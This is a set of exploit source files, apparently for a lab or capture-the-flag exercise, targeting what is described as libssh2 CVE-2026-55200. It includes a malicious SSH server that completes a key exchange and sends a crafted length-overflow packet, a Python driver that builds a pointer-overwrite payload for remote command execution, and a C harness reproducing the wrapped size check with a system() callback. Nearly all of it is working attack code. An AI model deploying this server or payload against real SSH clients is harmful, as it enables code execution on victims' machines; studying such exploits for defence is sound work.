client_sock.sendall(CLIENT_IDENT + b"\r\n")
client_kexinit = build_kexinit_payload()
send_plain_packet(client_sock, client_kexinit)
server_kexinit = read_plain_packet(client_sock)
server_lists = parse_kexinit_payload(server_kexinit)
first_match(server_lists["kex"], KEX_ALGORITHMS, "server kex")
first_match(server_lists["hostkey"], HOSTKEY_ALGORITHMS, "server hostkey")
first_match(server_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server cipher")
client_private = x25519.X25519PrivateKey.generate()
client_pub = client_private.public_key().public_bytes(
serialization.Encoding.Raw,
serialization.PublicFormat.Raw,
)
send_plain_packet(client_sock, b"\x1e" + ssh_string(client_pub))
reply = read_plain_packet(client_sock)
if not reply or reply[0] != 31:
raise RuntimeError(f"expected SSH_MSG_KEX_ECDH_REPLY, got {reply[:1]!r}")
hostkey_blob, offset = read_ssh_string(reply, 1)
server_pub, offset = read_ssh_string(reply, offset)
_signature, offset = read_ssh_string(reply, offset)
if offset != len(reply):
raise RuntimeError("trailing data in KEX_ECDH_REPLY")
shared = client_private.exchange(x25519.X25519PublicKey.from_public_bytes(server_pub))
shared_int = int.from_bytes(shared, "big")
h = exchange_hash(CLIENT_IDENT, SERVER_IDENT, client_kexinit, server_kexinit,
hostkey_blob, client_pub, server_pub, shared_int)
key_s2c = derive_key(shared_int, h, h, b"D", 64)
newkeys = read_plain_packet(client_sock)
if newkeys != b"\x15":
raise RuntimeError(f"expected server NEWKEYS, got {newkeys[:1]!r}")
send_plain_packet(client_sock, b"\x15")
encrypted_len = 4 + args.body_len + 16
encrypted = read_exact(client_sock, encrypted_len)
if args.filler_len:
read_exact(client_sock, args.filler_len)
decrypted = chachapoly_decrypt(key_s2c, 3, encrypted)
decoded_len = struct.unpack(">I", decrypted[:4])[0]
if decoded_len != args.packet_length:
raise RuntimeError("loopback decrypted packet_length mismatch")
return decoded_len, encrypted_len
def loopback_test(args):
left, right = socket.socketpair()
result_queue = queue.Queue()
def server_thread():
try:
with left:
left.settimeout(args.timeout)
MiniSSHExploitServer(args).handle_client(left)
result_queue.put(None)
except Exception as exc:
result_queue.put(exc)
thread = threading.Thread(target=server_thread, daemon=True)
thread.start()
try:
with right:
decoded_len, encrypted_len = loopback_client(right, args)
finally:
thread.join(args.timeout + args.hold_open + 1)
if thread.is_alive():
raise SystemExit("[loopback-test] FAIL: server thread did not exit")
server_error = result_queue.get_nowait()
if server_error is not None:
raise server_error
print("[loopback-test] minimal SSH handshake/key-derivation path")
print(f"decrypted_trigger_packet_length=0x{decoded_len:08x} ({decoded_len})")
print(f"encrypted_trigger_fragment_len={encrypted_len}")
print("[loopback-test] PASS")
def main():
parser = argparse.ArgumentParser(
description="Minimal malicious SSH server/trigger for HTB-style libssh2 CVE-2026-55200 testing."
)
parser.add_argument("--self-test", action="store_true", help="verify local packet crypto and CVE arithmetic")
parser.add_argument("--loopback-test", action="store_true", help="verify the local SSH handshake and encrypted trigger path")
parser.add_argument("--serve", action="store_true", help="listen for one libssh2 client and send the trigger")
parser.add_argument("--listen-host", default=HOST, help="listen IP/interface, e.g. 0.0.0.0")
parser.add_argument("--listen-port", type=int, default=PORT, help="listen port, e.g. 2222")
parser.add_argument("--packet-length", type=lambda x: int(x, 0), default=DEFAULT_PACKET_LENGTH)
parser.add_argument("--body-len", type=int, default=8, help="truncated encrypted body length after the 4-byte length field")
parser.add_argument("--filler-len", type=int, default=64, help="extra bytes after the valid encrypted fragment/tag")
parser.add_argument("--timeout", type=float, default=10.0)
parser.add_argument("--hold-open", type=float, default=1.0)
args = parser.parse_args()
if args.self_test:
self_test(args)
return
if args.loopback_test:
loopback_test(args)
return
if args.serve:
if not args.listen_host or not args.listen_port:
raise SystemExit("set --listen-host and --listen-port; the HOST/PORT section is intentionally open")
MiniSSHExploitServer(args).serve_once()
return
parser.print_help()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
raise
except Exception:
traceback.print_exc()
sys.exit(1)

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#!/usr/bin/env python3
import argparse
import os
import re
import struct
import subprocess
import sys
from pathlib import Path
PACKET_LENGTH = 0xFFFFFFFF
def repo_root():
return Path(__file__).resolve().parent.parent
def default_harness_path():
suffix = ".exe" if os.name == "nt" else ""
return Path(__file__).resolve().parent / f"libpwn_local_rce_harness{suffix}"
def default_proof_path():
return Path(__file__).resolve().parent / "libpwn_rce_proof.txt"
def default_command(proof_path):
marker = "libpwn-rce-verified"
if os.name == "nt":
return f"cmd /c echo {marker}>{proof_path}"
return f"/bin/sh -c 'echo {marker} > {proof_path}'"
def parse_leak(line):
pattern = (
r"exec_callback=(0x[0-9a-fA-F]+|[0-9a-fA-F]+)\s+"
r"callback_offset=(\d+)\s+"
r"command_offset=(\d+)\s+"
r"ptr_size=(\d+)"
)
match = re.search(pattern, line)
if not match:
raise ValueError(f"could not parse leak line: {line!r}")
return {
"exec_callback": int(match.group(1), 16),
"callback_offset": int(match.group(2)),
"command_offset": int(match.group(3)),
"ptr_size": int(match.group(4)),
}
def pack_ptr(value, ptr_size):
if ptr_size == 8:
return struct.pack("<Q", value)
if ptr_size == 4:
return struct.pack("<I", value)
raise ValueError(f"unsupported pointer size {ptr_size}")
def build_payload(leak, command):
command_bytes = command.encode() + b"\x00"
end = leak["command_offset"] + len(command_bytes)
payload = bytearray(b"A" * end)
payload[leak["callback_offset"]:leak["callback_offset"] + leak["ptr_size"]] = (
pack_ptr(leak["exec_callback"], leak["ptr_size"])
)
payload[leak["command_offset"]:leak["command_offset"] + len(command_bytes)] = command_bytes
return bytes(payload)
def build_wire(payload):
return struct.pack(">II", PACKET_LENGTH, len(payload)) + payload
def run_exploit(args):
harness = Path(args.harness).resolve()
proof = Path(args.proof).resolve()
if proof.exists():
proof.unlink()
proc = subprocess.Popen(
[str(harness)],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=str(repo_root()),
text=False,
)
try:
leak_line = proc.stdout.readline().decode(errors="replace").strip()
leak = parse_leak(leak_line)
command = args.command or default_command(proof)
payload = build_payload(leak, command)
wire = build_wire(payload)
proc.stdin.write(wire)
proc.stdin.close()
output = proc.stdout.read().decode(errors="replace")
rc = proc.wait(timeout=args.timeout)
finally:
if proc.poll() is None:
proc.kill()
print(leak_line)
print(output, end="")
print(f"process_rc={rc}")
print(f"payload_len={len(payload)}")
print(f"proof_path={proof}")
if rc != 0:
raise SystemExit("FAIL: harness exited non-zero")
if not proof.exists():
raise SystemExit("FAIL: proof file was not created")
proof_text = proof.read_text(errors="replace").strip()
if "libpwn-rce-verified" not in proof_text:
raise SystemExit(f"FAIL: unexpected proof file content: {proof_text!r}")
print("RCE_PROOF=PASS")
def main():
parser = argparse.ArgumentParser(description="Local RCE proof driver for the libpwn CVE harness.")
parser.add_argument("--harness", default=str(default_harness_path()))
parser.add_argument("--proof", default=str(default_proof_path()))
parser.add_argument("--command", default="")
parser.add_argument("--timeout", type=float, default=10.0)
args = parser.parse_args()
run_exploit(args)
if __name__ == "__main__":
main()

118
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#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define LIBSSH2_PACKET_MAXPAYLOAD 35000u
struct target_object {
unsigned char payload[19];
void (*callback)(const char *);
char command[320];
};
static void safe_callback(const char *command)
{
printf("safe_callback command=%s\n", command);
}
static void exec_callback(const char *command)
{
int rc;
printf("exec_callback command=%s\n", command);
fflush(stdout);
rc = system(command);
printf("system_rc=%d\n", rc);
}
static int read_exact(unsigned char *buf, size_t len)
{
size_t got = fread(buf, 1, len, stdin);
return got == len ? 0 : -1;
}
static uint32_t load_be32(const unsigned char *buf)
{
return ((uint32_t)buf[0] << 24) |
((uint32_t)buf[1] << 16) |
((uint32_t)buf[2] << 8) |
(uint32_t)buf[3];
}
int main(void)
{
unsigned char hdr[8];
unsigned char *body = NULL;
struct target_object *obj = NULL;
uint32_t packet_length;
uint32_t body_len;
unsigned int auth_len = 16;
int mac_len = 0;
size_t total_num = 4;
size_t copy_len;
obj = (struct target_object *)calloc(1, sizeof(*obj));
if(!obj) {
return 1;
}
obj->callback = safe_callback;
strcpy(obj->command, "not executed");
printf("LEAK exec_callback=%p callback_offset=%zu command_offset=%zu ptr_size=%zu\n",
(void *)exec_callback,
offsetof(struct target_object, callback),
offsetof(struct target_object, command),
sizeof(void *));
fflush(stdout);
if(read_exact(hdr, sizeof(hdr))) {
free(obj);
return 2;
}
packet_length = load_be32(hdr);
body_len = load_be32(hdr + 4);
if(packet_length < 1u) {
free(obj);
return 3;
}
total_num += packet_length + (mac_len ? mac_len : 0) + auth_len;
if(total_num > LIBSSH2_PACKET_MAXPAYLOAD || total_num == 0u) {
free(obj);
return 4;
}
body = (unsigned char *)malloc(body_len ? body_len : 1);
if(!body) {
free(obj);
return 5;
}
if(read_exact(body, body_len)) {
free(body);
free(obj);
return 6;
}
copy_len = packet_length - 1u;
if(copy_len > body_len) {
copy_len = body_len;
}
printf("accepted packet_length=0x%08x allocation=%zu copy_len=%zu body_len=%u\n",
packet_length, total_num, copy_len, body_len);
fflush(stdout);
memcpy(obj->payload, body, copy_len);
obj->callback(obj->command);
free(body);
free(obj);
return 0;
}